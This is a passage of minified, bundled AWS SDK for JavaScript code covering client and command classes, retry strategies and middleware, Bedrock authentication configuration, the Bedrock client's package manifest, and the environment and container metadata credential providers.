br1.resolvedPath}});ZOA.Client=Rp8;ZOA.Command=xr1;ZOA.NoOpLogger=xp8;ZOA.SENSITIVE_STRING=yL5;ZOA.ServiceException=GOA;ZOA._json=hr1;ZOA.convertMap=dL5;ZOA.createAggregatedClient=IL5;ZOA.decorateServiceException=Ip8;ZOA.emitWarningIfUnsupportedVersion=xL5;ZOA.getArrayIfSingleItem=UL5;ZOA.getDefaultClientConfiguration=FL5;ZOA.getDefaultExtensionConfiguration=hp8;ZOA.getValueFromTextNode=bp8;ZOA.isSerializableHeaderValue=pL5;ZOA.loadConfigsForDefaultMode=bL5;ZOA.map=up8;ZOA.resolveDefaultRuntimeConfig=QL5;ZOA.serializeDateTime=oL5;ZOA.serializeFloat=rL5;ZOA.take=cL5;ZOA.throwDefaultError=Sp8;ZOA.withBaseException=SL5;Object.keys(kp8).forEach(function(A){if(A!=="default"&&!Object.prototype.hasOwnProperty.call(ZOA,A))Object.defineProperty(ZOA,A,{enumerable:!0,get:function(){return kp8[A]}})})});var Qp8=v((gp8)=>{Object.defineProperty(gp8,"__esModule",{value:!0});gp8.isStreamingPayload=void 0;var VR5=CA("stream"),fR5=(A)=>A?.body instanceof VR5.Readable||typeof ReadableStream<"u"&&A?.body instanceof ReadableStream;gp8.isStreamingPayload=fR5});var kZ=v((bR5)=>{var HO=db(),WOA=Ep8(),Kn=Pr1(),pp8=qi1(),Up8=WD(),NR5=mp8(),TR5=Qp8(),vR5=(A,K)=>{let q=A,Y=HO.NO_RETRY_INCREMENT,z=HO.RETRY_COST,w=HO.TIMEOUT_RETRY_COST,H=A,J=(_)=>_.name==="TimeoutError"?w:z,O=(_)=>J(_)<=H;return Object.freeze({hasRetryTokens:O,retrieveRetryTokens:(_)=>{if(!O(_))throw Error("No retry token available");let G=J(_);return H-=G,G},releaseRetryTokens:(_)=>{H+=_??Y,H=Math.min(H,q)}})},dp8=(A,K)=>Math.floor(Math.min(HO.MAXIMUM_RETRY_DELAY,Math.random()*2**K*A)),cp8=(A)=>{if(!A)return!1;return Kn.isRetryableByTrait(A)||Kn.isClockSkewError(A)||Kn.isThrottlingError(A)||Kn.isTransientError(A)},lp8=(A)=>{if(A instanceof Error)return A;if(A instanceof Object)return Object.assign(Error(),A);if(typeof A==="string")return Error(A);return Error(`AWS SDK error wrapper for ${A}`)};class mr1{maxAttemptsProvider;retryDecider;delayDecider;retryQuota;mode=HO.RETRY_MODES.STANDARD;constructor(A,K){this.maxAttemptsProvider=A,this.retryDecider=K?.retryDecider??cp8,this.delayDecider=K?.delayDecider??dp8,this.retryQuota=K?.retryQuota??vR5(HO.INITIAL_RETRY_TOKENS)}shouldRetry(A,K,q){return K<q&&this.retryDecider(A)&&this.retryQuota.hasRetryTokens(A)}async getMaxAttempts(){let A;try{A=await this.maxAttemptsProvider()}catch(K){A=HO.DEFAULT_MAX_ATTEMPTS}return A}async retry(A,K,q){let Y,z=0,w=0,H=await this.getMaxAttempts(),{request:J}=K;if(WOA.HttpRequest.isInstance(J))J.headers[HO.INVOCATION_ID_HEADER]=pp8.v4();while(!0)try{if(WOA.HttpRequest.isInstance(J))J.headers[HO.REQUEST_HEADER]=`attempt=${z+1}; max=${H}`;if(q?.beforeRequest)await q.beforeRequest();let{response:O,output:X}=await A(K);if(q?.afterRequest)q.afterRequest(O);return this.retryQuota.releaseRetryTokens(Y),X.$metadata.attempts=z+1,X.$metadata.totalRetryDelay=w,{response:O,output:X}}catch(O){let X=lp8(O);if(z++,this.shouldRetry(X,z,H)){Y=this.retryQuota.retrieveRetryTokens(X);let $=this.delayDecider(Kn.isThrottlingError(X)?HO.THROTTLING_RETRY_DELAY_BASE:HO.DEFAULT_RETRY_DELAY_BASE,z),_=ER5(X.$response),G=Math.max(_||0,$);w+=G,await new Promise((Z)=>setTimeout(Z,G));continue}if(!X.$metadata)X.$metadata={};throw X.$metadata.attempts=z,X.$metadata.totalRetryDelay=w,X}}}var ER5=(A)=>{if(!WOA.HttpResponse.isInstance(A))return;let K=Object.keys(A.headers).find((w)=>w.toLowerCase()==="retry-after");if(!K)return;let q=A.headers[K],Y=Number(q);if(!Number.isNaN(Y))return Y*1000;return new Date(q).getTime()-Date.now()};class ip8 extends mr1{rateLimiter;constructor(A,K){let{rateLimiter:q,...Y}=K??{};super(A,Y);this.rateLimiter=q??new HO.DefaultRateLimiter,this.mode=HO.RETRY_MODES.ADAPTIVE}async retry(A,K){return super.retry(A,K,{beforeRequest:async()=>{return this.rateLimiter.getSendToken()},afterRequest:(q)=>{this.rateLimiter.updateClientSendingRate(q)}})}}var ur1="AWS_MAX_ATTEMPTS",Br1="max_attempts",kR5={environmentVariableSelector:(A)=>{let K=A[ur1];if(!K)return;let q=parseInt(K);if(Number.isNaN(q))throw Error(`Environment variable ${ur1} mast be a number, got "${K}"`);return q},configFileSelector:(A)=>{let K=A[Br1];if(!K)return;let q=parseInt(K);if(Number.isNaN(q))throw Error(`Shared config file entry ${Br1} mast be a number, got "${K}"`);return q},default:HO.DEFAULT_MAX_ATTEMPTS},CR5=(A)=>{let{retryStrategy:K,retryMode:q,maxAttempts:Y}=A,z=Up8.normalizeProvider(Y??HO.DEFAULT_MAX_ATTEMPTS);return Object.assign(A,{maxAttempts:z,retryStrategy:async()=>{if(K)return K;if(await Up8.normalizeProvider(q)()===HO.RETRY_MODES.ADAPTIVE)return new HO.AdaptiveRetryStrategy(z);return new HO.StandardRetryStrategy(z)}})},np8="AWS_RETRY_MODE",rp8="retry_mode",LR5={environmentVariableSelector:(A)=>A[np8],configFileSelector:(A)=>A[rp8],default:HO.DEFAULT_RETRY_MODE},op8=()=>(A)=>async(K)=>{let{request:q}=K;if(WOA.HttpRequest.isInstance(q))delete q.headers[HO.INVOCATION_ID_HEADER],delete q.headers[HO.REQUEST_HEADER];return A(K)},ap8={name:"omitRetryHeadersMiddleware",tags:["RETRY","HEADERS","OMIT_RETRY_HEADERS"],relation:"before",toMiddleware:"awsAuthMiddleware",override:!0},RR5=(A)=>({applyToStack:(K)=>{K.addRelativeTo(op8(),ap8)}}),sp8=(A)=>(K,q)=>async(Y)=>{let z=await A.retryStrategy(),w=await A.maxAttempts();if(yR5(z)){z=z;let H=await z.acquireInitialRetryToken(q.partition_id),J=Error(),O=0,X=0,{request:$}=Y,_=WOA.HttpRequest.isInstance($);if(_)$.headers[HO.INVOCATION_ID_HEADER]=pp8.v4();while(!0)try{if(_)$.headers[HO.REQUEST_HEADER]=`attempt=${O+1}; max=${w}`;let{response:G,output:Z}=await K(Y);return z.recordSuccess(H),Z.$metadata.attempts=O+1,Z.$metadata.totalRetryDelay=X,{response:G,output:Z}}catch(G){let Z=IR5(G);if(J=lp8(G),_&&TR5.isStreamingPayload($))throw(q.logger instanceof NR5.NoOpLogger?console:q.logger)?.warn("An error was encountered in a non-retryable streaming request."),J;try{H=await z.refreshRetryTokenForRetry(H,Z)}catch(D){if(!J.$metadata)J.$metadata={};throw J.$metadata.attempts=O+1,J.$metadata.totalRetryDelay=X,J}O=H.getRetryCount();let W=H.getRetryDelay();X+=W,await new Promise((D)=>setTimeout(D,W))}}else{if(z=z,z?.mode)q.userAgent=[...q.userAgent||[],["cfg/retry-mode",z.mode]];return z.retry(K,Y)}},yR5=(A)=>typeof A.acquireInitialRetryToken<"u"&&typeof A.refreshRetryTokenForRetry<"u"&&typeof A.recordSuccess<"u",IR5=(A)=>{let K={error:A,errorType:SR5(A)},q=ep8(A.$response);if(q)K.retryAfterHint=q;return K},SR5=(A)=>{if(Kn.isThrottlingError(A))return"THROTTLING";if(Kn.isTransientError(A))return"TRANSIENT";if(Kn.isServerError(A))return"SERVER_ERROR";return"CLIENT_ERROR"},tp8={name:"retryMiddleware",tags:["RETRY"],step:"finalizeRequest",priority:"high",override:!0},hR5=(A)=>({applyToStack:(K)=>{K.add(sp8(A),tp8)}}),ep8=(A)=>{if(!WOA.HttpResponse.isInstance(A))return;let K=Object.keys(A.headers).find((w)=>w.toLowerCase()==="retry-after");if(!K)return;let q=A.headers[K],Y=Number(q);if(!Number.isNaN(Y))return new Date(Y*1000);return new Date(q)};bR5.AdaptiveRetryStrategy=ip8;bR5.CONFIG_MAX_ATTEMPTS=Br1;bR5.CONFIG_RETRY_MODE=rp8;bR5.ENV_MAX_ATTEMPTS=ur1;bR5.ENV_RETRY_MODE=np8;bR5.NODE_MAX_ATTEMPT_CONFIG_OPTIONS=kR5;bR5.NODE_RETRY_MODE_CONFIG_OPTIONS=LR5;bR5.StandardRetryStrategy=mr1;bR5.defaultDelayDecider=dp8;bR5.defaultRetryDecider=cp8;bR5.getOmitRetryHeadersPlugin=RR5;bR5.getRetryAfterHint=ep8;bR5.getRetryPlugin=hR5;bR5.omitRetryHeadersMiddleware=op8;bR5.omitRetryHeadersMiddlewareOptions=ap8;bR5.resolveRetryConfig=CR5;bR5.retryMiddleware=sp8;bR5.retryMiddlewareOptions=tp8});var cr1=v((Yy5)=>{Yy5.HttpAuthLocation=void 0;(function(A){A.HEADER="header",A.QUERY="query"})(Yy5.HttpAuthLocation||(Yy5.HttpAuthLocation={}));Yy5.HttpApiKeyAuthLocation=void 0;(function(A){A.HEADER="header",A.QUERY="query"})(Yy5.HttpApiKeyAuthLocation||(Yy5.HttpApiKeyAuthLocation={}));Yy5.EndpointURLScheme=void 0;(function(A){A.HTTP="http",A.HTTPS="https"})(Yy5.EndpointURLScheme||(Yy5.EndpointURLScheme={}));Yy5.AlgorithmId=void 0;(function(A){A.MD5="md5",A.CRC32="crc32",A.CRC32C="crc32c",A.SHA1="sha1",A.SHA256="sha256"})(Yy5.AlgorithmId||(Yy5.AlgorithmId={}));var tR5=(A)=>{let K=[];if(A.sha256!==void 0)K.push({algorithmId:()=>Yy5.AlgorithmId.SHA256,checksumConstructor:()=>A.sha256});if(A.md5!=null)K.push({algorithmId:()=>Yy5.AlgorithmId.MD5,checksumConstructor:()=>A.md5});return{addChecksumAlgorithm(q){K.push(q)},checksumAlgorithms(){return K}}},eR5=(A)=>{let K={};return A.checksumAlgorithms().forEach((q)=>{K[q.algorithmId()]=q.checksumConstructor()}),K},Ay5=(A)=>{return tR5(A)},Ky5=(A)=>{return eR5(A)};Yy5.FieldPosition=void 0;(function(A){A[A.HEADER=0]="HEADER",A[A.TRAILER=1]="TRAILER"})(Yy5.FieldPosition||(Yy5.FieldPosition={}));var qy5="__smithy_context";Yy5.IniSectionType=void 0;(function(A){A.PROFILE="profile",A.SSO_SESSION="sso-session",A.SERVICES="services"})(Yy5.IniSectionType||(Yy5.IniSectionType={}));Yy5.RequestHandlerProtocol=void 0;(function(A){A.HTTP_0_9="http/0.9",A.HTTP_1_0="http/1.0",A.TDS_8_0="tds/8.0"})(Yy5.RequestHandlerProtocol||(Yy5.RequestHandlerProtocol={}));Yy5.SMITHY_CONTEXT_KEY=qy5;Yy5.getDefaultClientConfiguration=Ay5;Yy5.resolveDefaultRuntimeConfig=Ky5});var oCA=v((jOA)=>{var qd8=Fb(),or1=VV(),ir1=cr1(),Jy5=DJ(),Ad8=PV();class Yd8{config;middlewareStack=qd8.constructStack();initConfig;handlers;constructor(A){this.config=A}send(A,K,q){let Y=typeof K!=="function"?K:void 0,z=typeof K==="function"?K:q,w=Y===void 0&&this.config.cacheMiddleware===!0,H;if(w){if(!this.handlers)this.handlers=new WeakMap;let J=this.handlers;if(J.has(A.constructor))H=J.get(A.constructor);else H=A.resolveMiddleware(this.middlewareStack,this.config,Y),J.set(A.constructor,H)}else delete this.handlers,H=A.resolveMiddleware(this.middlewareStack,this.config,Y);if(z)H(A).then((J)=>z(null,J.output),(J)=>z(J)).catch(()=>{});else return H(A).then((J)=>J.output)}destroy(){this.config?.requestHandler?.destroy?.(),delete this.handlers}}var lr1="***SensitiveInformation***";function nr1(A,K){if(K==null)return K;let q=Jy5.NormalizedSchema.of(A);if(q.getMergedTraits().sensitive)return lr1;if(q.isListSchema()){if(!!q.getValueSchema().getMergedTraits().sensitive)return lr1}else if(q.isMapSchema()){if(!!q.getKeySchema().getMergedTraits().sensitive||!!q.getValueSchema().getMergedTraits().sensitive)return lr1}else if(q.isStructSchema()&&typeof K==="object"){let Y=K,z={};for(let[w,H]of q.structIterator())if(Y[w]!=null)z[w]=nr1(H,Y[w]);return z}return K}class ar1{middlewareStack=qd8.constructStack();schema;static classBuilder(){return new zd8}resolveMiddlewareWithContext(A,K,q,{middlewareFn:Y,clientName:z,commandName:w,inputFilterSensitiveLog:H,outputFilterSensitiveLog:J,smithyContext:O,additionalContext:X,CommandCtor:$}){for(let D of Y.bind(this)($,A,K,q))this.middlewareStack.use(D);let _=A.concat(this.middlewareStack),{logger:G}=K,Z={logger:G,clientName:z,commandName:w,inputFilterSensitiveLog:H,outputFilterSensitiveLog:J,[ir1.SMITHY_CONTEXT_KEY]:{commandInstance:this,...O},...X},{requestHandler:W}=K;return _.resolve((D)=>W.handle(D.request,q||{}),Z)}}class zd8{_init=()=>{};_ep={};_middlewareFn=()=>[];_commandName="";_clientName="";_additionalContext={};_smithyContext={};_inputFilterSensitiveLog=void 0;_outputFilterSensitiveLog=void 0;_serializer=null;_deserializer=null;_operationSchema;init(A){this._init=A}ep(A){return this._ep=A,this}m(A){return this._middlewareFn=A,this}s(A,K,q={}){return this._smithyContext={service:A,operation:K,...q},this}c(A={}){return this._additionalContext=A,this}n(A,K){return this._clientName=A,this._commandName=K,this}f(A=(q)=>q,K=(q)=>q){return this._inputFilterSensitiveLog=A,this._outputFilterSensitiveLog=K,this}ser(A){return this._serializer=A,this}de(A){return this._deserializer=A,this}sc(A){return this._operationSchema=A,this._smithyContext.operationSchema=A,this}build(){let A=this,K;return K=class extends ar1{input;static getEndpointParameterInstructions(){return A._ep}constructor(...[q]){super();this.input=q??{},A._init(this),this.schema=A._operationSchema}resolveMiddleware(q,Y,z){let w=A._operationSchema,H=w?.[4]??w?.input,J=w?.[5]??w?.output;return this.resolveMiddlewareWithContext(q,Y,z,{CommandCtor:K,middlewareFn:A._middlewareFn,clientName:A._clientName,commandName:A._commandName,inputFilterSensitiveLog:A._inputFilterSensitiveLog??(w?nr1.bind(null,H):(O)=>O),outputFilterSensitiveLog:A._outputFilterSensitiveLog??(w?nr1.bind(null,J):(O)=>O),smithyContext:A._smithyContext,additionalContext:A._additionalContext})}serialize=A._serializer;deserialize=A._deserializer}}}var Oy5="***SensitiveInformation***",Xy5=(A,K)=>{for(let q of Object.keys(A)){let Y=A[q],z=async function(H,J,O){let X=new Y(H);if(typeof J==="function")this.send(X,J);else if(typeof O==="function"){if(typeof J!=="object")throw Error(`Expected http options but got ${typeof J}`);this.send(X,J||{},O)}else return this.send(X,J)},w=(q[0].toLowerCase()+q.slice(1)).replace(/Command$/,"");K.prototype[w]=z}};class DOA extends Error{$fault;$response;$retryable;$metadata;constructor(A){super(A.message);Object.setPrototypeOf(this,Object.getPrototypeOf(this).constructor.prototype),this.name=A.name,this.$fault=A.$fault,this.$metadata=A.$metadata}static isInstance(A){if(!A)return!1;let K=A;return DOA.prototype.isPrototypeOf(K)||Boolean(K.$fault)&&Boolean(K.$metadata)&&(K.$fault==="client"||K.$fault==="server")}static[Symbol.hasInstance](A){if(!A)return!1;let K=A;if(this===DOA)return DOA.isInstance(A);if(DOA.isInstance(A)){if(K.name&&this.name)return this.prototype.isPrototypeOf(A)||K.name===this.name;return this.prototype.isPrototypeOf(A)}return!1}}var wd8=(A,K={})=>{Object.entries(K).filter(([,Y])=>Y!==void 0).forEach(([Y,z])=>{if(A[Y]==null||A[Y]==="")A[Y]=z});let q=A.message||A.Message||"UnknownError";return A.message=q,delete A.Message,A},Hd8=({output:A,parsedBody:K,exceptionCtor:q,errorCode:Y})=>{let z=_y5(A),w=z.httpStatusCode?z.httpStatusCode+"":void 0,H=new q({name:K?.code||K?.Code||Y||w||"UnknownError",$fault:"client",$metadata:z});throw wd8(H,K)},$y5=(A)=>{return({output:K,parsedBody:q,errorCode:Y})=>{Hd8({output:K,parsedBody:q,exceptionCtor:A,errorCode:Y})}},_y5=(A)=>({httpStatusCode:A.statusCode,requestId:A.headers["x-amzn-requestid"]??A.headers["x-amzn-request-id"]??A.headers["x-amz-request-id"],extendedRequestId:A.headers["x-amz-id-2"],cfId:A.headers["x-amz-cf-id"]}),Gy5=(A)=>{switch(A){case"standard":return{retryMode:"standard",connectionTimeout:3100};case"in-region":return{retryMode:"standard",connectionTimeout:1100};case"cross-region":return{retryMode:"standard",connectionTimeout:3100};case"mobile":return{retryMode:"standard",connectionTimeout:30000};default:return{}}},Kd8=!1,Zy5=(A)=>{if(A&&!Kd8&&parseInt(A.substring(1,A.indexOf(".")))<16)Kd8=!0},Wy5=(A)=>{let K=[];for(let q in ir1.AlgorithmId){let Y=ir1.AlgorithmId[q];if(A[Y]===void 0)continue;K.push({algorithmId:()=>Y,checksumConstructor:()=>A[Y]})}return{addChecksumAlgorithm(q){K.push(q)},checksumAlgorithms(){return K}}},Dy5=(A)=>{let K={};return A.checksumAlgorithms().forEach((q)=>{K[q.algorithmId()]=q.checksumConstructor()}),K},jy5=(A)=>{return{setRetryStrategy(K){A.retryStrategy=K},retryStrategy(){return A.retryStrategy}}},My5=(A)=>{let K={};return K.retryStrategy=A.retryStrategy(),K},Jd8=(A)=>{return Object.assign(Wy5(A),jy5(A))},Py5=Jd8,Vy5=(A)=>{return Object.assign(Dy5(A),My5(A))},fy5=(A)=>Array.isArray(A)?A:[A],Od8=(A)=>{for(let q in A)if(A.hasOwnProperty(q)&&A[q]["#text"]!==void 0)A[q]=A[q]["#text"];else if(typeof A[q]==="object"&&A[q]!==null)A[q]=Od8(A[q]);return A},Ny5=(A)=>{return A!=null};class Xd8{trace(){}debug(){}info(){}warn(){}error(){}}function $d8(A,K,q){let Y,z,w;if(typeof K>"u"&&typeof q>"u")Y={},w=A;else if(Y=A,typeof K==="function")return z=K,w=q,Ey5(Y,z,w);else w=K;for(let H of Object.keys(w)){if(!Array.isArray(w[H])){Y[H]=w[H];continue}_d8(Y,null,w,H)}return Y}var Ty5=(A)=>{let K={};for(let[q,Y]of Object.entries(A||{}))K[q]=[,Y];return K},vy5=(A,K)=>{let q={};for(let Y in K)_d8(q,A,K,Y);return q},Ey5=(A,K,q)=>{return $d8(A,Object.entries(q).reduce((Y,[z,w])=>{if(Array.isArray(w))Y[z]=w;else if(typeof w==="function")Y[z]=[K,w()];else Y[z]=[K,w];return Y},{}))},_d8=(A,K,q,Y)=>{if(K!==null){let H=q[Y];if(typeof H==="function")H=[,H];let[J=ky5,O=Cy5,X=Y]=H;if(typeof J==="function"&&J(K[X])||typeof J!=="function"&&!!J)A[Y]=O(K[X]);return}let[z,w]=q[Y];if(typeof w==="function"){let H,J=z===void 0&&(H=w())!=null,O=typeof z==="function"&&!!z(void 0)||typeof z!=="function"&&!!z;if(J)A[Y]=H;else if(O)A[Y]=w()}else{let H=z===void 0&&w!=null,J=typeof z==="function"&&!!z(w)||typeof z!=="function"&&!!z;if(H||J)A[Y]=w}},ky5=(A)=>A!=null,Cy5=(A)=>A,Ly5=(A)=>{if(A!==A)return"NaN";switch(A){case 1/0:return"Infinity";case-1/0:return"-Infinity";default:return A}},Ry5=(A)=>A.toISOString().replace(".000Z","Z"),rr1=(A)=>{if(A==null)return{};if(Array.isArray(A))return A.filter((K)=>K!=null).map(rr1);if(typeof A==="object"){let K={};for(let q of Object.keys(A)){if(A[q]==null)continue;K[q]=rr1(A[q])}return K}return A};Object.defineProperty(jOA,"collectBody",{enumerable:!0,get:function(){return or1.collectBody}});Object.defineProperty(jOA,"extendedEncodeURIComponent",{enumerable:!0,get:function(){return or1.extendedEncodeURIComponent}});Object.defineProperty(jOA,"resolvedPath",{enumerable:!0,get:function(){return or1.resolvedPath}});jOA.Client=Yd8;jOA.Command=ar1;jOA.NoOpLogger=Xd8;jOA.SENSITIVE_STRING=Oy5;jOA.ServiceException=DOA;jOA._json=rr1;jOA.convertMap=Ty5;jOA.createAggregatedClient=Xy5;jOA.decorateServiceException=wd8;jOA.emitWarningIfUnsupportedVersion=Zy5;jOA.getArrayIfSingleItem=fy5;jOA.getDefaultClientConfiguration=Py5;jOA.getDefaultExtensionConfiguration=Jd8;jOA.getValueFromTextNode=Od8;jOA.isSerializableHeaderValue=Ny5;jOA.loadConfigsForDefaultMode=Gy5;jOA.map=$d8;jOA.resolveDefaultRuntimeConfig=Vy5;jOA.serializeDateTime=Ry5;jOA.serializeFloat=Ly5;jOA.take=vy5;jOA.throwDefaultError=Hd8;jOA.withBaseException=$y5;Object.keys(Ad8).forEach(function(A){if(A!=="default"&&!Object.prototype.hasOwnProperty.call(jOA,A))Object.defineProperty(jOA,A,{enumerable:!0,get:function(){return Ad8[A]}})})});var er1=v((Gd8)=>{Object.defineProperty(Gd8,"__esModule",{value:!0});Gd8.resolveHttpAuthSchemeConfig=Gd8.defaultBedrockHttpAuthSchemeProvider=Gd8.defaultBedrockHttpAuthSchemeParametersProvider=void 0;var ty5=aw(),sr1=Gz(),tr1=WD(),ey5=async(A,K,q)=>{return{operation:(0,tr1.getSmithyContext)(K).operation,region:await(0,tr1.normalizeProvider)(A.region)()||(()=>{throw Error("expected `region` to be configured for `aws.auth#sigv4`")})()}};Gd8.defaultBedrockHttpAuthSchemeParametersProvider=ey5;function AI5(A){return{schemeId:"aws.auth#sigv4",signingProperties:{name:"bedrock",region:A.region},propertiesExtractor:(K,q)=>({signingProperties:{config:K,context:q}})}}function KI5(A){return{schemeId:"smithy.api#httpBearerAuth",propertiesExtractor:({profile:K,filepath:q,configFilepath:Y,ignoreCache:z},w)=>({identityProperties:{profile:K,filepath:q,configFilepath:Y,ignoreCache:z}})}}var qI5=(A)=>{let K=[];switch(A.operation){default:K.push(AI5(A)),K.push(KI5(A))}return K};Gd8.defaultBedrockHttpAuthSchemeProvider=qI5;var YI5=(A)=>{let K=(0,sr1.memoizeIdentityProvider)(A.token,sr1.isIdentityExpired,sr1.doesIdentityRequireRefresh),q=(0,ty5.resolveAwsSdkSigV4Config)(A);return Object.assign(q,{authSchemePreference:(0,tr1.normalizeProvider)(A.authSchemePreference??[]),token:K})};Gd8.resolveHttpAuthSchemeConfig=YI5});var Wd8=v((etz,HI5)=>{HI5.exports={name:"@aws-sdk/client-bedrock",description:"AWS SDK for JavaScript Bedrock Client for Node.js, Browser and React Native",version:"3.936.0",scripts:{build:"concurrently 'yarn:build:cjs' 'yarn:build:es' 'yarn:build:types'","build:cjs":"node ../../scripts/compilation/inline client-bedrock","build:es":"tsc -p tsconfig.es.json","build:include:deps":"lerna run --scope $npm_package_name --include-dependencies build","build:types":"tsc -p tsconfig.types.json","build:types:downlevel":"downlevel-dts dist-types dist-types/ts3.4",clean:"rimraf ./dist-* && rimraf *.tsbuildinfo","extract:docs":"api-extractor run --local","generate:client":"node ../../scripts/generate-clients/single-service --solo bedrock"},main:"./dist-cjs/index.js",types:"./dist-types/index.d.ts",module:"./dist-es/index.js",sideEffects:!1,dependencies:{"@aws-crypto/sha256-browser":"5.2.0","@aws-crypto/sha256-js":"5.2.0","@aws-sdk/core":"3.936.0","@aws-sdk/credential-provider-node":"3.936.0","@aws-sdk/middleware-host-header":"3.936.0","@aws-sdk/middleware-logger":"3.936.0","@aws-sdk/middleware-recursion-detection":"3.936.0","@aws-sdk/middleware-user-agent":"3.936.0","@aws-sdk/region-config-resolver":"3.936.0","@aws-sdk/token-providers":"3.936.0","@aws-sdk/types":"3.936.0","@aws-sdk/util-endpoints":"3.936.0","@aws-sdk/util-user-agent-browser":"3.936.0","@aws-sdk/util-user-agent-node":"3.936.0","@smithy/config-resolver":"^4.4.3","@smithy/core":"^3.18.5","@smithy/fetch-http-handler":"^5.3.6","@smithy/hash-node":"^4.2.5","@smithy/invalid-dependency":"^4.2.5","@smithy/middleware-content-length":"^4.2.5","@smithy/middleware-endpoint":"^4.3.12","@smithy/middleware-retry":"^4.4.12","@smithy/middleware-serde":"^4.2.6","@smithy/middleware-stack":"^4.2.5","@smithy/node-config-provider":"^4.3.5","@smithy/node-http-handler":"^4.4.5","@smithy/protocol-http":"^5.3.5","@smithy/smithy-client":"^4.9.8","@smithy/types":"^4.9.0","@smithy/url-parser":"^4.2.5","@smithy/util-base64":"^4.3.0","@smithy/util-body-length-browser":"^4.2.0","@smithy/util-body-length-node":"^4.2.1","@smithy/util-defaults-mode-browser":"^4.3.11","@smithy/util-defaults-mode-node":"^4.2.14","@smithy/util-endpoints":"^3.2.5","@smithy/util-middleware":"^4.2.5","@smithy/util-retry":"^4.2.5","@smithy/util-utf8":"^4.2.0",tslib:"^2.6.2"},devDependencies:{"@tsconfig/node18":"18.2.4","@types/node":"^18.19.69",concurrently:"7.0.0","downlevel-dts":"0.10.1",rimraf:"3.0.2",typescript:"~5.8.3"},engines:{node:">=18.0.0"},typesVersions:{"<4.0":{"dist-types/*":["dist-types/ts3.4/*"]}},files:["dist-*/**"],author:{name:"AWS SDK for JavaScript Team",url:"https://aws.amazon.com/javascript/"},license:"Apache-2.0",browser:{"./dist-es/runtimeConfig":"./dist-es/runtimeConfig.browser"},"react-native":{"./dist-es/runtimeConfig":"./dist-es/runtimeConfig.native"},homepage:"https://github.com/aws/aws-sdk-js-v3/tree/main/clients/client-bedrock",repository:{type:"git",url:"https://github.com/aws/aws-sdk-js-v3.git",directory:"clients/client-bedrock"}}});var w81=v(($I5)=>{var JI5=fV(),OI5=dX(),Dd8="AWS_ACCESS_KEY_ID",jd8="AWS_SECRET_ACCESS_KEY",Md8="AWS_SESSION_TOKEN",Pd8="AWS_CREDENTIAL_EXPIRATION",Vd8="AWS_CREDENTIAL_SCOPE",fd8="AWS_ACCOUNT_ID",XI5=(A)=>async()=>{A?.logger?.debug("@aws-sdk/credential-provider-env - fromEnv");let K=process.env[Dd8],q=process.env[jd8],Y=process.env[Md8],z=process.env[Pd8],w=process.env[Vd8],H=process.env[fd8];if(K&&q){let J={accessKeyId:K,secretAccessKey:q,...Y&&{sessionToken:Y},...z&&{expiration:new Date(z)},...w&&{credentialScope:w},...H&&{accountId:H}};return JI5.setCredentialFeature(J,"CREDENTIALS_ENV_VARS","g"),J}throw new OI5.CredentialsProviderError("Unable to find environment variable credentials.",{logger:A?.logger})};$I5.ENV_ACCOUNT_ID=fd8;$I5.ENV_CREDENTIAL_SCOPE=Vd8;$I5.ENV_EXPIRATION=Pd8;$I5.ENV_KEY=Dd8;$I5.ENV_SECRET=jd8;$I5.ENV_SESSION=Md8;$I5.fromEnv=XI5});var K8A=v((iI5)=>{var cb=dX(),PI5=CA("url"),VI5=CA("buffer"),fI5=CA("http"),Yo1=NV(),NI5=tE();function sCA(A){return new Promise((K,q)=>{let Y=fI5.request({method:"GET",...A,hostname:A.hostname?.replace(/^\[(.+)\]$/,"$1")});Y.on("error",(z)=>{q(Object.assign(new cb.ProviderError("Unable to connect to instance metadata service"),z)),Y.destroy()}),Y.on("timeout",()=>{q(new cb.ProviderError("TimeoutError from instance metadata service")),Y.destroy()}),Y.on("response",(z)=>{let{statusCode:w=400}=z;if(w<200||300<=w)q(Object.assign(new cb.ProviderError("Error response received from instance metadata service"),{statusCode:w})),Y.destroy();let H=[];z.on("data",(J)=>{H.push(J)}),z.on("end",()=>{K(VI5.Buffer.concat(H)),Y.destroy()})}),Y.end()})}var Ed8=(A)=>Boolean(A)&&typeof A==="object"&&typeof A.AccessKeyId==="string"&&typeof A.SecretAccessKey==="string"&&typeof A.Token==="string"&&typeof A.Expiration==="string",kd8=(A)=>({accessKeyId:A.AccessKeyId,secretAccessKey:A.SecretAccessKey,sessionToken:A.Token,expiration:new Date(A.Expiration),...A.AccountId&&{accountId:A.AccountId}}),Cd8=1000,Ld8=0,zo1=({maxRetries:A=Ld8,timeout:K=Cd8})=>({maxRetries:A,timeout:K}),Ko1=(A,K)=>{let q=A();for(let Y=0;Y<K;Y++)q=q.catch(A);return q},H81="AWS_CONTAINER_CREDENTIALS_FULL_URI",J81="AWS_CONTAINER_CREDENTIALS_RELATIVE_URI",qo1="AWS_CONTAINER_AUTHORIZATION_TOKEN",TI5=(A={})=>{let{timeout:K,maxRetries:q}=zo1(A);return()=>Ko1(async()=>{let Y=await LI5({logger:A.logger}),z=JSON.parse(await vI5(K,Y));if(!Ed8(z))throw new cb.CredentialsProviderError("Invalid response received from instance metadata service.",{logger:A.logger});return kd8(z)},q)},vI5=async(A,K)=>{if(process.env[qo1])K.headers={...K.headers,Authorization:process.env[qo1]};return(await sCA({...K,timeout:A})).toString()},EI5="169.254.170.2",kI5={localhost:!0,"127.0.0.1":!0},CI5={"http:":!0,"https:":!0},LI5=async({logger:A})=>{if(process.env[J81])return{hostname:EI5,path:process.env[J81]};if(process.env[H81]){let K=PI5.parse(process.env[H81]);if(!K.hostname||!(K.hostname in kI5))throw new cb.CredentialsProviderError(`${K.hostname} is not a valid container metadata service hostname`,{tryNextLink:!1,logger:A});if(!K.protocol||!(K.protocol in CI5))throw new cb.CredentialsProviderError(`${K.protocol} is not a valid container metadata service protocol`,{tryNextLink:!1,logger:A});return{...K,port:K.port?parseInt(K.port,10):void 0}}throw new cb.CredentialsProviderError(`The container metadata credential provider cannot be used unless the ${J81} or ${H81} environment variable is set`,{tryNextLink:!1,logger:A})};class wo1 extends cb.CredentialsProviderError{tryNextLink;name="InstanceMetadataV1FallbackError";constructor(A,K=!0){super(A,K);this.tryNextLink=K,Object.setPrototypeOf(this,wo1.prototype)}}iI5.Endpoint=void 0;(function(A){A.IPv4="http://169.254.169.254",A.IPv6="http://[fd00:ec2::254]"})(iI5.Endpoint||(iI5.Endpoint={}));var 